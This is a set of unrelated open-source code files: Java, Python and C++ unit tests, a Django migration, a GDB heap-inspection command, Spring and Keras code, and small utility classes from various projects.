package com.vladsch.flexmark.ext.gitlab; import com.vladsch.flexmark.util.ast.VisitHandler; public class GitLabVisitorExt { public static <V extends GitLabVisitor> VisitHandler<?>[] VISIT_HANDLERS(V visitor) { return new VisitHandler<?>[] { new VisitHandler<>(GitLabIns.class, visitor::visit), new VisitHandler<>(GitLabDel.class, visitor::visit), new VisitHandler<>(GitLabInlineMath.class, visitor::visit), new VisitHandler<>(GitLabBlockQuote.class, visitor::visit), }; } }
243
1,838
/* * Copyright 2005-2019 Dozer Project * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.github.dozermapper.core.loader; import com.github.dozermapper.core.AbstractDozerTest; import com.github.dozermapper.core.classmap.MappingFileData; import com.github.dozermapper.core.config.BeanContainer; import com.github.dozermapper.core.factory.DestBeanCreator; import com.github.dozermapper.core.propertydescriptor.PropertyDescriptorFactory; import org.junit.Test; import static org.junit.Assert.assertEquals; import static org.junit.Assert.assertNotNull; public class MappingsBuilderTest extends AbstractDozerTest { private BeanContainer beanContainer = new BeanContainer(); private DestBeanCreator destBeanCreator = new DestBeanCreator(beanContainer); @Test public void testBuild() { DozerBuilder builder = new DozerBuilder(beanContainer, destBeanCreator, new PropertyDescriptorFactory()); MappingFileData result = builder.build(); assertNotNull(result); } @Test public void testGetFieldNameOfIndexedField() { assertEquals("aaa", DozerBuilder.getFieldNameOfIndexedField("aaa[0]")); assertEquals("aaa[0].bbb", DozerBuilder.getFieldNameOfIndexedField("aaa[0].bbb[1]")); assertEquals("aaa[0].bbb[1].ccc", DozerBuilder.getFieldNameOfIndexedField("aaa[0].bbb[1].ccc[2]")); } }
614
498
from __future__ import print_function import sys import struct try: import gdb except ImportError: print("Not running inside of GDB, exiting...") sys.exit() from libheap.frontend.printutils import print_title from libheap.frontend.printutils import print_error from libheap.frontend.printutils import print_value from libheap.ptmalloc.ptmalloc import ptmalloc from libheap.ptmalloc.malloc_state import malloc_state from libheap.ptmalloc.malloc_chunk import malloc_chunk class fastbins(gdb.Command): """Walk and print the fast bins.""" def __init__(self, debugger=None, version=None): super(fastbins, self).__init__("fastbins", gdb.COMMAND_OBSCURE, gdb.COMPLETE_NONE) if debugger is not None: self.dbg = debugger else: print_error("Please specify a debugger") sys.exit() self.version = version def invoke(self, arg, from_tty): ptm = ptmalloc(debugger=self.dbg) if ptm.SIZE_SZ == 0: ptm.set_globals() if ptm.SIZE_SZ == 4: pad_width = 25 elif ptm.SIZE_SZ == 8: pad_width = 29 # XXX: from old heap command, replace main_arena = self.dbg.read_variable("main_arena") arena_address = self.dbg.format_address(main_arena.address) thread_arena = self.dbg.read_variable("thread_arena") if thread_arena is not None: thread_arena_address = self.dbg.format_address(thread_arena) else: thread_arena_address = arena_address argv = self.dbg.string_to_argv(arg) if len(argv) == 1: arena_address = int(argv[0], 16) elif len(argv): print_error('Too many arguments') return else: arena_address = thread_arena_address ar_ptr = malloc_state(arena_address, debugger=self.dbg, version=self.version) # 8 bytes into struct malloc_state on both 32/64bit # XXX: fixme for glibc <= 2.19 with THREAD_STATS fastbinsY = int(ar_ptr.address) + 8 fb_base = fastbinsY print_title("fastbins", end="") for fb in range(0, ptm.NFASTBINS): offset = int(fb_base + fb * ptm.SIZE_SZ) try: mem = self.dbg.read_memory(offset, ptm.SIZE_SZ) if ptm.SIZE_SZ == 4: fd = struct.unpack("<I", mem)[0] elif ptm.SIZE_SZ == 8: fd = struct.unpack("<Q", mem)[0] except RuntimeError: print_error("Invalid fastbin addr {0:#x}".format(offset)) return print("") print("[ fb {} ] ".format(fb), end="") print("{:#x}{:>{width}}".format(offset, "-> ", width=5), end="") if fd == 0: print("[ {:#x} ] ".format(fd), end="") else: print_value("[ {:#x} ] ".format(fd)) if fd != 0: # fastbin is not empty fb_size = ((ptm.MIN_CHUNK_SIZE) + (ptm.MALLOC_ALIGNMENT) * fb) print("({})".format(int(fb_size)), end="") chunk = malloc_chunk(fd, inuse=False, debugger=self.dbg) while chunk.fd != 0: if chunk.fd is None: # could not read memory section break print_value("\n{:>{width}} {:#x} {} ".format("[", chunk.fd, "]", width=pad_width)) print("({})".format(fb_size), end="") chunk = malloc_chunk(chunk.fd, inuse=False, debugger=self.dbg) print("")
1,974
2,743
<filename>mayan/apps/document_signatures/migrations/0003_auto_20160325_0052.py # -*- coding: utf-8 -*- from __future__ import unicode_literals from django.db import migrations, models import storage.backends.filebasedstorage import document_signatures.models class Migration(migrations.Migration): dependencies = [ ('documents', '0033_auto_20160325_0052'), ('document_signatures', '0002_auto_20150608_1902'), ] operations = [ migrations.CreateModel( name='SignatureBaseModel', fields=[ ( 'id', models.AutoField( verbose_name='ID', serialize=False, auto_created=True, primary_key=True ) ), ( 'date', models.DateField( null=True, verbose_name='Date signed', blank=True ) ), ( 'key_id', models.CharField( max_length=40, verbose_name='Key ID' ) ), ( 'signature_id', models.CharField( max_length=64, null=True, verbose_name='Signature ID', blank=True ) ), ( 'public_key_fingerprint', models.CharField( verbose_name='Public key fingerprint', unique=True, max_length=40, editable=False ) ), ], options={ 'verbose_name': 'Document version signature', 'verbose_name_plural': 'Document version signatures', }, ), migrations.RemoveField( model_name='documentversionsignature', name='has_embedded_signature', ), migrations.AddField( model_name='documentversionsignature', name='date', field=models.DateField( null=True, verbose_name='Date signed', blank=True ), ), migrations.AddField( model_name='documentversionsignature', name='signature_id', field=models.CharField( max_length=64, null=True, verbose_name='Signature ID', blank=True ), ), migrations.AlterField( model_name='documentversionsignature', name='document_version', field=models.ForeignKey( related_name='signature', editable=False, to='documents.DocumentVersion', verbose_name='Document version' ), ), migrations.CreateModel( name='DetachedSignature', fields=[ ( 'signaturebasemodel_ptr', models.OneToOneField( parent_link=True, auto_created=True, primary_key=True, serialize=False, to='document_signatures.SignatureBaseModel' ) ), ( 'signature_file', models.FileField( storage=storage.backends.filebasedstorage.FileBasedStorage(), upload_to=document_signatures.models.upload_to, null=True, verbose_name='Signature file', blank=True ) ), ], options={ 'verbose_name': 'Document version detached signature', 'verbose_name_plural': 'Document version detached signatures', }, bases=('document_signatures.signaturebasemodel',), ), migrations.CreateModel( name='EmbeddedSignature', fields=[ ( 'signaturebasemodel_ptr', models.OneToOneField( parent_link=True, auto_created=True, primary_key=True, serialize=False, to='document_signatures.SignatureBaseModel' ) ), ], options={ 'verbose_name': 'Document version embedded signature', 'verbose_name_plural': 'Document version embedded signatures', }, bases=('document_signatures.signaturebasemodel',), ), migrations.AddField( model_name='signaturebasemodel', name='document_version', field=models.ForeignKey( related_name='signaturebasemodel', editable=False, to='documents.DocumentVersion', verbose_name='Document version' ), ), ]
2,661
1,144
package de.metas.ui.web.handlingunits.process; import de.metas.document.DocTypeId; import de.metas.handlingunits.inventory.internaluse.HUInternalUseInventoryCreateRequest; import de.metas.handlingunits.model.I_M_Inventory; import de.metas.process.Param; import org.compiere.util.Env; import javax.annotation.Nullable; /* * #%L * metasfresh-webui-api * %% * Copyright (C) 2017 metas GmbH * %% * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as * published by the Free Software Foundation, either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public * License along with this program. If not, see * <http://www.gnu.org/licenses/gpl-2.0.html>. * #L% */ /** * Create Internal Use Inventory and destroy given HUs. * * @author metas-dev <<EMAIL>> * Task initial task https://github.com/metasfresh/metasfresh-webui-api/issues/396 */ public class WEBUI_M_HU_MoveToGarbage extends WEBUI_M_HU_InternalUse_Template { @Param(parameterName = "C_DocType_ID") @Nullable private DocTypeId p_internalUseInventoryDocTypeId; @Param(parameterName = I_M_Inventory.COLUMNNAME_Description) @Nullable private String p_description; protected HUInternalUseInventoryCreateRequest createHUInternalUseInventoryCreateRequest() { return HUInternalUseInventoryCreateRequest.builder() .hus(getHUsToInternalUse()) .movementDate(Env.getZonedDateTime(getCtx())) .internalUseInventoryDocTypeId(p_internalUseInventoryDocTypeId) .description(p_description) .completeInventory(true) .moveEmptiesToEmptiesWarehouse(true) .sendNotifications(true) .build(); } }
658
14,793
<filename>weixin-java-miniapp/src/test/java/cn/binarywang/wx/miniapp/bean/code/WxMaCodeCommitRequestTest.java package cn.binarywang.wx.miniapp.bean.code; import org.testng.annotations.Test; import static org.testng.Assert.assertEquals; /** * @author <a href="https://github.com/charmingoh">Charming</a> * @since 2018-04-26 19:54 */ public class WxMaCodeCommitRequestTest { @Test public void testToJson() { WxMaCodeCommitRequest commitRequest = WxMaCodeCommitRequest.builder() .templateId(1L) .userVersion("v0.1.0") .userDesc("init") .extConfig(WxMaCodeExtConfig.builder() .extAppid("app123") .extEnable(true) .build()) .build(); assertEquals(commitRequest.toJson(), "{\"template_id\":1,\"user_version\":\"v0.1.0\",\"user_desc\":\"init\",\"ext_json\":\"{\\\"extEnable\\\":true,\\\"extAppid\\\":\\\"app123\\\"}\"}"); } }
374
1,587
package io.reflectoring.componentscan; import org.springframework.context.annotation.ComponentScan; import org.springframework.context.annotation.Configuration; import org.springframework.context.annotation.FilterType; import io.reflectoring.vehicles.Car; @Configuration @ComponentScan(basePackages= "io.reflectoring.vehicles", [email protected](type=FilterType.ASSIGNABLE_TYPE, classes=Car.class) , useDefaultFilters=false // Uncomment next line and comment out include filter to checkout exclude filter //[email protected](type=FilterType.ASSIGNABLE_TYPE, classes=Car.class) ) public class ExplicitScan { }
185
879
package org.zstack.storage.ceph; import org.springframework.beans.factory.annotation.Autowire; import org.springframework.beans.factory.annotation.Configurable; import org.zstack.storage.ceph.primary.CephPrimaryStorageMonBase; import org.zstack.storage.ceph.primary.CephPrimaryStorageMonVO; import org.zstack.storage.volume.DistributedVolumeOperateInterface; import org.zstack.utils.Utils; import org.zstack.utils.logging.CLogger; import java.util.Random; import java.util.Set; /** * Created by mingjian.deng on 16/11/9. */ @Configurable(preConstruction = true, autowire = Autowire.BY_TYPE) public class CephVolumeOperate implements DistributedVolumeOperateInterface { private static final CLogger logger = Utils.getLogger(CephVolumeOperate.class); Set<CephPrimaryStorageMonVO> monsSet; public CephPrimaryStorageMonBase chooseTargetVmUuid() { CephPrimaryStorageMonBase mon = getRandomMon(monsSet); return mon == null? null : mon; } private CephPrimaryStorageMonBase getRandomMon(final Set<CephPrimaryStorageMonVO> monsSet) { int i = 0; if(monsSet == null) return null; else { StringBuffer buff = new StringBuffer(); buff.append("get monsSet, monAddr is: "); for (CephPrimaryStorageMonVO monvo: monsSet){ buff.append(monvo.getMonAddr()); buff.append(","); } logger.debug(buff.substring(0, buff.lastIndexOf(","))); } int random = new Random().nextInt(monsSet.size()); for(CephPrimaryStorageMonVO vo: monsSet){ if(i ++ == random){ return new CephPrimaryStorageMonBase(vo); } } return null; } @Override public String exportFile(String srcPath, String desPath) { return null; } @Override public void importFile(String srcPath, String desPath) { } public Set<CephPrimaryStorageMonVO> getMonsSet() { return monsSet; } public void setMonsSet(Set<CephPrimaryStorageMonVO> monsSet) { this.monsSet = monsSet; } }
869
679
<reponame>Grosskopf/openoffice /************************************************************** * * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License. * *************************************************************/ // MARKER(update_precomp.py): autogen include statement, do not remove #include "precompiled_extensions.hxx" #include <comphelper/processfactory.hxx> #include <cppuhelper/servicefactory.hxx> #include <cppuhelper/bootstrap.hxx> #include <com/sun/star/lang/XInitialization.hpp> #include <com/sun/star/deployment/UpdateInformationProvider.hpp> #include <sal/main.h> #include <osl/process.h> #include <stdio.h> namespace deployment = ::com::sun::star::deployment; namespace lang = ::com::sun::star::lang; namespace uno = ::com::sun::star::uno; namespace xml = ::com::sun::star::xml; #define UNISTRING(s) rtl::OUString(RTL_CONSTASCII_USTRINGPARAM(s)) // ----------------------------------------------------------------------- SAL_IMPLEMENT_MAIN() { (void) argv; (void) argc; if( osl_getCommandArgCount() != 1 ) { fprintf(stderr, "Usage: updatefeedtest <url>\n"); return -1; } // create the initial component context uno::Reference< uno::XComponentContext > rComponentContext = cppu::defaultBootstrap_InitialComponentContext(); // initialize UCB uno::Sequence< uno::Any > theArguments(2); theArguments[0] = uno::makeAny( UNISTRING( "Local") ); theArguments[1] = uno::makeAny( UNISTRING( "Office") ); uno::Reference< uno::XInterface > xUCB = rComponentContext->getServiceManager()->createInstanceWithArgumentsAndContext( UNISTRING( "com.sun.star.ucb.UniversalContentBroker" ), theArguments, rComponentContext ); // retrieve the update information provider uno::Reference< deployment::XUpdateInformationProvider > rUpdateInformationProvider = deployment::UpdateInformationProvider::create( rComponentContext ); uno::Sequence< rtl::OUString > theURLs(1); osl_getCommandArg( 0, &theURLs[0].pData ); // theURLs[0] = UNISTRING( "http://localhost/~olli/atomfeed.xml" ); rtl::OUString aExtension = UNISTRING( "MyExtension" ); try { uno::Sequence< uno::Reference< xml::dom::XElement > > theUpdateInfo = rUpdateInformationProvider->getUpdateInformation( theURLs, aExtension ); OSL_TRACE( "getUpdateInformation returns %d element(s)", theUpdateInfo.getLength() ); } catch( const uno::Exception & e ) { OSL_TRACE( "exception caught: %s", rtl::OUStringToOString( e.Message, RTL_TEXTENCODING_UTF8 ).getStr()); } catch( ... ) { OSL_TRACE( "exception of undetermined type caught" ); } return 0; }
1,241
4,375
package com.codingapi.txlcn.tm.id; import static com.codingapi.txlcn.tm.node.TmNodeInitiator.getSnowflakeVo; /** * @author lorne * @date 2020/8/8 * @description */ public class SnowflakeHandler { private static final Snowflake SNOWFLAKE = SnowflakeHandler.createSnowflake(getSnowflakeVo().getWorkerId(), getSnowflakeVo().getDataCenterId()); /** * 创建Twitter的Snowflake 算法生成器。 * <p> * 特别注意:此方法调用后会创建独立的{@link Snowflake}对象,每个独立的对象ID不互斥,会导致ID重复,请自行保证单例! * </p> * 分布式系统中,有一些需要使用全局唯一ID的场景,有些时候我们希望能使用一种简单一些的ID,并且希望ID能够按照时间有序生成。 * * <p> * snowflake的结构如下(每部分用-分开):<br> * * <pre> * 0 - 0000000000 0000000000 0000000000 0000000000 0 - 00000 - 00000 - 000000000000 * </pre> * <p> * 第一位为未使用,接下来的41位为毫秒级时间(41位的长度可以使用69年)<br> * 然后是5位dataCenterId和5位workerId(10位的长度最多支持部署1024个节点)<br> * 最后12位是毫秒内的计数(12位的计数顺序号支持每个节点每毫秒产生4096个ID序号) * * <p> * 参考:http://www.cnblogs.com/relucent/p/4955340.html * * @param workerId 终端ID * @return {@link Snowflake} */ public static Snowflake createSnowflake(long workerId, long dataCenterId) { return new Snowflake(workerId, dataCenterId); } /** * 创建GroupId策略 * * @return String */ public static String generateGroupId() { return Long.toBinaryString(SNOWFLAKE.nextId()); } /** * 创建日志id * * @return long */ public static long generateLogId() { return SNOWFLAKE.nextId(); } }
1,065
37,222
# Copyright 2018 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== """Tests for compiled Model subclassing.""" import tensorflow.compat.v2 as tf import os import numpy as np import keras from keras import keras_parameterized from keras import testing_utils from keras.tests import model_subclassing_test_util as model_util try: import h5py # pylint:disable=g-import-not-at-top except ImportError: h5py = None @keras_parameterized.run_all_keras_modes class ModelSubclassCompiledTest(keras_parameterized.TestCase): def test_single_io_workflow_with_np_arrays(self): num_classes = 2 num_samples = 100 input_dim = 50 model = testing_utils.SmallSubclassMLP( num_hidden=32, num_classes=num_classes, use_dp=True, use_bn=True) model.compile( loss='mse', optimizer='rmsprop', metrics=['acc', keras.metrics.CategoricalAccuracy()], run_eagerly=testing_utils.should_run_eagerly()) x = np.ones((num_samples, input_dim)) y = np.zeros((num_samples, num_classes)) model.fit(x, y, epochs=2, batch_size=32, verbose=0) _ = model.evaluate(x, y, verbose=0) def test_multi_io_workflow_with_np_arrays(self): num_classes = (2, 3) num_samples = 1000 input_dim = 50 model = model_util.get_multi_io_subclass_model( num_classes=num_classes, use_dp=True, use_bn=True) model.compile( loss='mse', optimizer='rmsprop', metrics=['acc'], run_eagerly=testing_utils.should_run_eagerly()) x1 = np.ones((num_samples, input_dim)) x2 = np.ones((num_samples, input_dim)) y1 = np.zeros((num_samples, num_classes[0])) y2 = np.zeros((num_samples, num_classes[1])) model.fit([x1, x2], [y1, y2], epochs=2, batch_size=32, verbose=0) _ = model.evaluate([x1, x2], [y1, y2], verbose=0) def test_single_io_workflow_with_datasets(self): num_classes = 2 num_samples = 10 input_dim = 50 with self.cached_session(): model = testing_utils.SmallSubclassMLP( num_hidden=32, num_classes=num_classes, use_dp=True, use_bn=True) model.compile( loss='mse', optimizer='rmsprop', run_eagerly=testing_utils.should_run_eagerly()) x = np.ones((num_samples, input_dim), dtype=np.float32) y = np.zeros((num_samples, num_classes), dtype=np.float32) dataset = tf.data.Dataset.from_tensor_slices((x, y)) dataset = dataset.repeat(100) dataset = dataset.batch(10) model.fit(dataset, epochs=2, steps_per_epoch=10, verbose=0) _ = model.evaluate(dataset, steps=10, verbose=0) def test_attributes(self): # layers, weights, trainable_weights, non_trainable_weights, inputs, outputs num_classes = (2, 3) num_samples = 100 input_dim = 50 model = model_util.get_multi_io_subclass_model( num_classes=num_classes, use_bn=True) x1 = np.ones((num_samples, input_dim)) x2 = np.ones((num_samples, input_dim)) y1 = np.zeros((num_samples, num_classes[0])) y2 = np.zeros((num_samples, num_classes[1])) self.assertEqual(model.name, 'test_model') self.assertEqual(model.built, False) self.assertEqual(len(model.weights), 0) model.compile( loss='mse', optimizer='rmsprop', run_eagerly=testing_utils.should_run_eagerly()) model.train_on_batch([x1, x2], [y1, y2]) self.assertEqual(model.built, True) self.assertEqual(len(model.layers), 4) self.assertEqual(len(model.weights), 10) self.assertEqual(len(model.trainable_weights), 8) self.assertEqual(len(model.non_trainable_weights), 2) def test_updates(self): # test that updates get run during training num_samples = 100 input_dim = 50 class BNNet(keras.Model): def __init__(self): super(BNNet, self).__init__() self.bn = keras.layers.BatchNormalization(beta_initializer='ones', gamma_initializer='ones') def call(self, inputs): return self.bn(inputs) x = np.ones((num_samples, input_dim)) y = np.ones((num_samples, input_dim)) model = BNNet() model.compile( loss='mse', optimizer='rmsprop', run_eagerly=testing_utils.should_run_eagerly()) y_ref = model.predict(x) model.train_on_batch(x, y) y_new = model.predict(x) self.assertGreater(np.sum(np.abs(y_ref - y_new)), 0.1) def test_training_and_inference_behavior(self): # test that dropout is applied in training and not inference num_samples = 100 input_dim = 50 class DPNet(keras.Model): def __init__(self): super(DPNet, self).__init__() self.dp = keras.layers.Dropout(0.5) self.dense = keras.layers.Dense(1, use_bias=False, kernel_initializer='ones') def call(self, inputs): x = self.dp(inputs) return self.dense(x) model = DPNet() x = np.ones((num_samples, input_dim)) y = model.predict(x) self.assertEqual(np.sum(y), np.sum(x)) model.compile( loss='mse', optimizer='rmsprop', run_eagerly=testing_utils.should_run_eagerly()) loss = model.train_on_batch(x, y) self.assertGreater(loss, 0.1) def test_training_methods(self): # test fit, train_on_batch # on different input types: list, dict num_classes = (2, 3) num_samples = 100 input_dim = 50 x1 = np.ones((num_samples, input_dim)) x2 = np.ones((num_samples, input_dim)) y1 = np.zeros((num_samples, num_classes[0])) y2 = np.zeros((num_samples, num_classes[1])) model = model_util.get_multi_io_subclass_model( num_classes=num_classes, use_bn=True) model.compile( loss='mse', optimizer='rmsprop', run_eagerly=testing_utils.should_run_eagerly()) model.fit([x1, x2], [y1, y2], epochs=2, batch_size=32, verbose=0) model.fit({'input_1': x1, 'input_2': x2}, {'output_1': y1, 'output_2': y2}, epochs=2, batch_size=32) model.fit([x1, x2], [y1, y2], epochs=2, batch_size=32, verbose=0, validation_data=([x1, x2], [y1, y2])) model = model_util.get_multi_io_subclass_model( num_classes=num_classes, use_bn=True) model.compile( loss='mse', optimizer='rmsprop', run_eagerly=testing_utils.should_run_eagerly()) model.train_on_batch([x1, x2], [y1, y2]) model.train_on_batch({'input_1': x1, 'input_2': x2}, {'output_1': y1, 'output_2': y2}) def test_inference_methods(self): # test predict, evaluate, test_on_batch, predict_on_batch # on different input types: list, dict num_classes = (2, 3) num_samples = 100 input_dim = 50 x1 = np.ones((num_samples, input_dim)) x2 = np.ones((num_samples, input_dim)) y1 = np.zeros((num_samples, num_classes[0])) y2 = np.zeros((num_samples, num_classes[1])) model = model_util.get_multi_io_subclass_model( num_classes=num_classes, use_bn=True) model.compile( loss='mse', optimizer='rmsprop', run_eagerly=testing_utils.should_run_eagerly()) model.evaluate([x1, x2], [y1, y2]) model.test_on_batch([x1, x2], [y1, y2]) model = model_util.get_multi_io_subclass_model( num_classes=num_classes, use_bn=True) model.predict([x1, x2]) model = model_util.get_multi_io_subclass_model( num_classes=num_classes, use_bn=True) model.predict_on_batch([x1, x2]) def test_saving(self): num_classes = (2, 3) num_samples = 100 input_dim = 50 x1 = np.ones((num_samples, input_dim)) x2 = np.ones((num_samples, input_dim)) y1 = np.zeros((num_samples, num_classes[0])) y2 = np.zeros((num_samples, num_classes[1])) model = model_util.get_multi_io_subclass_model( num_classes=num_classes, use_bn=True) model.compile( loss='mse', optimizer='rmsprop', run_eagerly=testing_utils.should_run_eagerly()) model.fit([x1, x2], [y1, y2], epochs=2, batch_size=32, verbose=0) y_ref_1, y_ref_2 = model.predict([x1, x2]) tf_format_name = os.path.join(self.get_temp_dir(), 'ckpt') model.save_weights(tf_format_name) if h5py is not None: hdf5_format_name = os.path.join(self.get_temp_dir(), 'weights.h5') model.save_weights(hdf5_format_name) model = model_util.get_multi_io_subclass_model( num_classes=num_classes, use_bn=True) if h5py is not None: with self.assertRaises(ValueError): model.load_weights(hdf5_format_name) model.load_weights(tf_format_name) y1, y2 = model.predict([x1, x2]) self.assertAllClose(y_ref_1, y1, atol=1e-5) self.assertAllClose(y_ref_2, y2, atol=1e-5) if h5py is not None: model.load_weights(hdf5_format_name) y1, y2 = model.predict([x1, x2]) self.assertAllClose(y_ref_1, y1, atol=1e-5) self.assertAllClose(y_ref_2, y2, atol=1e-5) def test_subclass_nested_in_subclass(self): num_classes = 2 num_samples = 100 input_dim = 50 model = model_util.NestedTestModel1(num_classes=num_classes) model.compile( loss='mse', optimizer='rmsprop', metrics=['acc'], run_eagerly=testing_utils.should_run_eagerly()) x = np.ones((num_samples, input_dim)) y = np.zeros((num_samples, num_classes)) model.fit(x, y, epochs=2, batch_size=32, verbose=0) _ = model.evaluate(x, y, verbose=0) self.assertEqual(len(model.weights), 8 + len(model.test_net.weights)) self.assertEqual(len(model.non_trainable_weights), 2 + len(model.test_net.non_trainable_weights)) self.assertEqual(len(model.trainable_weights), 6 + len(model.test_net.trainable_weights)) def test_graph_nested_in_subclass(self): num_classes = 2 num_samples = 100 input_dim = 50 model = model_util.NestedTestModel2(num_classes=num_classes) model.compile( loss='mse', optimizer='rmsprop', metrics=['acc'], run_eagerly=testing_utils.should_run_eagerly()) x = np.ones((num_samples, input_dim)) y = np.zeros((num_samples, num_classes)) model.fit(x, y, epochs=2, batch_size=32, verbose=0) _ = model.evaluate(x, y, verbose=0) self.assertEqual(len(model.weights), 8 + len(model.test_net.weights)) self.assertEqual(len(model.non_trainable_weights), 2 + len(model.test_net.non_trainable_weights)) self.assertEqual(len(model.trainable_weights), 6 + len(model.test_net.trainable_weights)) def test_subclass_nested_in_graph(self): num_classes = 2 num_samples = 100 input_dim = 50 model = model_util.get_nested_model_3( input_dim=input_dim, num_classes=num_classes) model.compile( loss='mse', optimizer='rmsprop', metrics=['acc'], run_eagerly=testing_utils.should_run_eagerly()) x = np.ones((num_samples, input_dim)) y = np.zeros((num_samples, num_classes)) model.fit(x, y, epochs=2, batch_size=32, verbose=0) _ = model.evaluate(x, y, verbose=0) self.assertEqual(len(model.weights), 16) self.assertEqual(len(model.non_trainable_weights), 4) self.assertEqual(len(model.trainable_weights), 12) def test_subclass_nested_in_sequential(self): num_classes = 2 num_samples = 100 input_dim = 50 class Inner(keras.Model): def __init__(self): super(Inner, self).__init__() self.dense1 = keras.layers.Dense(32, activation='relu') self.dense2 = keras.layers.Dense(num_classes, activation='relu') self.bn = keras.layers.BatchNormalization() def call(self, inputs): x = self.dense1(inputs) x = self.dense2(x) return self.bn(x) model = keras.Sequential([Inner()]) model.compile( loss='mse', optimizer='rmsprop', metrics=['acc'], run_eagerly=testing_utils.should_run_eagerly()) x = np.ones((num_samples, input_dim)) y = np.zeros((num_samples, num_classes)) model.fit(x, y, epochs=2, batch_size=32, verbose=0) _ = model.evaluate(x, y, verbose=0) self.assertEqual(len(model.weights), 8) self.assertEqual(len(model.non_trainable_weights), 2) self.assertEqual(len(model.trainable_weights), 6) def test_support_for_manual_training_arg(self): # In most cases, the `training` argument is left unspecified, in which # case it defaults to value corresponding to the Model method being used # (fit -> True, predict -> False, etc). # If the user writes their model `call` method to take # an explicit `training` argument, we must check that the correct value # is being passed to the model for each method call. class DPNet(keras.Model): def __init__(self): super(DPNet, self).__init__() self.dp = keras.layers.Dropout(0.5) self.dense = keras.layers.Dense(1, use_bias=False, kernel_initializer='ones') def call(self, inputs, training=False): x = self.dp(inputs, training=training) return self.dense(x) model = DPNet() x = np.ones((10, 10)) y = model.predict(x) self.assertEqual(np.sum(y), np.sum(x)) model.compile( loss='mse', optimizer='rmsprop', run_eagerly=testing_utils.should_run_eagerly()) loss = model.train_on_batch(x, y) self.assertGreater(loss, 0.1) if __name__ == '__main__': tf.test.main()
6,434
1,056
/* * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License. */ package org.netbeans.modules.spring.java; import java.util.Arrays; import java.util.Collections; import java.util.HashSet; import java.util.List; import java.util.Set; import junit.framework.TestCase; /** * * @author <NAME> */ public class FieldNamesCalculatorTest extends TestCase { public FieldNamesCalculatorTest(String testName) { super(testName); } @Override protected void setUp() throws Exception { super.setUp(); } @Override protected void tearDown() throws Exception { super.tearDown(); } public void testSimpleCalculation() { FieldNamesCalculator instance = new FieldNamesCalculator("BadLocationException", Collections.<String>emptySet()); List<String> result = instance.calculate(); assertFieldCalculations(new String[]{"bad", "badLocation", "badLocationException", "location", "locationException", "exception"}, result); } public void testNoCapsCalculation() { FieldNamesCalculator instance = new FieldNamesCalculator("_sampleclass", Collections.<String>emptySet()); assertFieldCalculations(new String[]{"_sampleclass"}, instance.calculate()); } public void testAllCapsCalculation() { FieldNamesCalculator instance = new FieldNamesCalculator("FOOO", Collections.<String>emptySet()); List<String> result = instance.calculate(); assertFieldCalculations(new String[]{"f", "fO", "fOO", "fOOO", "o", "oO", "oOO"}, result); } public void testCalculationWithPrefix() { FieldNamesCalculator instance = new FieldNamesCalculator("badValueNamed", Collections.<String>emptySet()); List<String> result = instance.calculate(); assertFieldCalculations(new String[]{"bad", "badValue", "badValueNamed", "value", "valueNamed", "named"}, result); } public void testCalculationWithCollision() { Set<String> forbidden = new HashSet<String>(Arrays.<String>asList("bad", "bad1", "value")); FieldNamesCalculator instance = new FieldNamesCalculator("BadValue", forbidden); List<String> result = instance.calculate(); assertFieldCalculations(new String[]{"bad2", "badValue", "value1"}, result); } private void assertFieldCalculations(String[] expected, List<String> result) { assertEquals(expected.length, result.size()); for (int i = 0; i < expected.length; i++) { assertEquals(expected[i], result.get(i)); } } }
1,067
2,133
<filename>src/AirspaceManagement/AirspaceRestrictionProvider.cc<gh_stars>1000+ /**************************************************************************** * * (c) 2009-2020 QGROUNDCONTROL PROJECT <http://www.qgroundcontrol.org> * * QGroundControl is licensed according to the terms in the file * COPYING.md in the root of the source code directory. * ****************************************************************************/ #include "AirspaceRestrictionProvider.h" AirspaceRestrictionProvider::AirspaceRestrictionProvider(QObject *parent) : QObject(parent) { }
141
575
